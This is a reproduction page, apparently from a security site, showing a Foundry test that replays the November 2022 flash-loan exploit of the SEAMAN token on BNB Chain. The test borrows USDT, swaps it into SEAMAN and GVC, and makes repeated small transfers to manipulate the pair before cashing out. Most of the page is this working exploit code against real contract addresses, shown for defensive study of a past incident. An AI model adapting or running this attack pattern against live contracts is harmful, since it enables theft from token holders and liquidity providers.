Public reproduction file
src/test/2022-11/SEAMAN_exp.sol
Public reproduction file for dataset entry - SEAMAN.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1//SPDX-License-Identifier: MIT2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/peckshield/status/15974939559394058259// https://twitter.com/CertiKAlert/status/159751337484104499310// https://twitter.com/BeosinAlert/status/159753579662163148911// @TX12// https://bscscan.com/tx/0x6f1af27d08b10caa7e96ec3d580bf39e29fd5ece00abda7d8955715403bf34a814contract ContractTest is Test {15 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);16 IERC20 SEAMAN = IERC20(0x6bc9b4976ba6f8C9574326375204eE469993D038);17 IERC20 GVC = IERC20(0xDB95FBc5532eEb43DeEd56c8dc050c930e31017e);18 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);19 address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;20 address Pair = 0x6637914482670f91F43025802b6755F27050b0a6;22 CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);24 function setUp() public {25 cheat.createSelectFork("bsc", 23_467_515);26 }28 function testExploit() public {29 DVM(dodo).flashLoan(0, 800_000 * 1e18, address(this), new bytes(1));31 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);32 }34 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {35 USDT.approve(address(Router), type(uint256).max);36 USDTToSEAMAN();37 USDTToGVC();38 for (uint256 i = 0; i < 20; i++) {39 SEAMAN.transfer(Pair, 1);40 }41 GVCToUSDT();42 USDT.transfer(dodo, 800_000 * 1e18);43 }45 function USDTToSEAMAN() internal {46 address[] memory path = new address[](2);47 path[0] = address(USDT);48 path[1] = address(SEAMAN);49 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 * 1e9, 0, path, address(this), block.timestamp);50 }52 function USDTToGVC() internal {53 address[] memory path = new address[](2);54 path[0] = address(USDT);55 path[1] = address(GVC);56 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(57 500_000 * 1e18, 0, path, address(this), block.timestamp58 );59 }61 function GVCToUSDT() internal {62 GVC.approve(address(Router), type(uint256).max);63 address[] memory path = new address[](2);64 path[0] = address(GVC);65 path[1] = address(USDT);66 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(67 GVC.balanceOf(address(this)), 0, path, address(this), block.timestamp68 );69 }70}Analysis
Dataset entry
Public Foundry test for “- SEAMAN” (2022-11-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Reference: https://twitter.com/peckshield/status/1597493955939405825
- Reference: https://twitter.com/CertiKAlert/status/1597513374841044993
- Reference: https://twitter.com/BeosinAlert/status/1597535796621631489
- Explorer: https://bscscan.com/tx/0x6f1af27d08b10caa7e96ec3d580bf39e29fd5ece00abda7d8955715403bf34a8
File record
- Name
- SEAMAN
- Path
- src/test/2022-11/SEAMAN_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 48bd8022538319b0c72e3caf7183554e9e698d36
- Language
- Solidity
- Size
- 71 lines
- Date
- 2022-11-29
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/SEAMAN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 48bd8022538319b0c72e3caf7183554e9e698d36, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.